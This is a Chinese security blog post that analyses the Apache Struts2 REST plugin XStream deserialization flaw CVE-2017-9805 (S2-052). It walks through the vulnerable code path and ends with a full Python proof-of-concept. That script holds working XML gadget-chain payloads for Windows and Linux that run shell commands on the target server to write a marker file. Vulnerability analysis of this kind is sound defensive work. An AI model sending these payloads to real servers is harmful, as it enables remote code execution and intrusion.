前言
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为 CVE-2017-9805(S2-052)。Struts2 REST 插件的 XStream 组件存在反序列化漏洞,使用 XStream 组件对 XML 格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
我下载了 2.5.12 的 struts2,找到 struts2-rest-plugin ,对 S2-052 漏洞进行了简单的分析。
漏洞分析
根据官方的漏洞介绍,Struts REST 插件在处理 xml 格式的数据时未进行任何过滤,因此在对 xml 格式的数据包进行反序列化时导致命令执行。
在 REST 插件的 struts-plugin.xml 中可以看到如下内容:
文件内配置了很多的 bean,这些 bean 根据请求中的 Content-type 的不同,将请求中的数据分发给指定的子类。上图中标出的内容表示将 Content-type 为 xml 的数据交给 XStreamHandler 处理。
当服务器接收到来自用户的请求时,会被 ContentTypeInterceptor 类拦截,进入 intercept 方法:
ContentTypeInterceptor 类对请求中的 content 类型进行了判断,再根据类型的不同,选择不同的 handler,调用该 handler 的 toObject() 方法对数据进行下一步处理。
如果这里用户请求中的 Content-type 为 xml 类型,XStreamHandler 类的 toObject() 方法被调用。
toObject() 方法会调用 xstream 的 fromXML() 方法,fromXML() 方法用于将传入的 XML 字符串反向序列化为 JavaBean 对象。请求中的 xml 数据在经过 fromXML() 方法后导致实例化的恶意对象被执行,也就导致了恶意代码被执行。
漏洞复现
首先在已搭建的 tomcat 上部署 struts2-rest-showcase 应用。
通过浏览器访问 web 应用。
再次请求时修改数据包的 Content-type 为 xml,请求类型为 post,post 的数据改为我们构造好的 payload。其中执行的命令是向c盘的根目录写文件。
请求发送后,页面返回 500 错误,在服务器上查看 c 盘根目录,发现文件成功被写入:
漏洞 POC
在编写漏洞 POC 的时候发现了一些需要注意的地方,我分别对 Windows 和 Linux 搭建的漏洞环境进行了测试,执行了如下命令:
Windows: c:\windows\system32\cmd.exe /c echo %s> xxx.txt
Linux: bash -c "echo %s"> xxx.txt
发现在 Windows 上,命令执行目录是 Tomcat 的安装目录,比如 C:\Program Files\Apache Software Foundation\Tomcat 8.5,而 Linux 上,命令执行目录是系统的根目录 /。因此针对 Linux 的 payload 需要猜测 Tomcat 的安装目录。
# -*- coding:utf-8 -*-
from random import choice
import urllib2
import time
import sys
WINDOWS_PAYLOAD = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>c:\windows\system32\cmd.exe</string><string>/c echo %s> ./webapps/docs/%s.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>"""
LINUX_PAYLOAD = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>bash</string><string>-c</string><string>"echo %s"> /usr/share/tomcat8/webapps/docs/%s.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>"""
class RedirctHandler(urllib2.HTTPRedirectHandler):
def http_error_301(self, req, fp, code, msg, headers):
pass
def http_error_302(self, req, fp, code, msg, headers):
pass
def randStr():
seed = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789-"
random_string = ''
for i in range(15):
random_string += choice(seed)
return random_string
def check(target, payload, ran_s):
request = urllib2.Request(target + '/struts2-rest-showcase/', payload)
request.add_header("Content-Type", "application/xml")
try:
urllib2.urlopen(request, timeout=30)
return '[-]No risk detected'
except Exception, e:
if e.code == 500:
time.sleep(5)
try:
opener = urllib2.build_opener(RedirctHandler)
request2 = opener.open(target + '/docs/%s.txt' % ran_s, timeout=30)
if ran_s in request2.read() or request2.getcode() == 200:
return '[+]Target vulnerability!'
else:
return '[-]No risk detected'
except Exception, x:
if '404' in str(x):
return '[-]No risk detected'
else:
return '[-]Error: ' + str(x)
else:
return '[-]No risk detected'
def main():
ran_s = randStr()
if len(sys.argv) != 2:
print 'Usage: python %s ip:port' % sys.argv[0]
else:
try:
check_windows_res = check('http://' + sys.argv[1], WINDOWS_PAYLOAD % (ran_s, ran_s), ran_s)
if check_windows_res != '[+]Target vulnerability!':
print check('http://' + sys.argv[1], LINUX_PAYLOAD % (ran_s, ran_s), ran_s)
else:
print check_windows_res
except Exception,e:
print '[-]Error: ' + str(e)
if __name__=='__main__':
main()
作者: JenI 转载请注明出处,谢谢
Comments !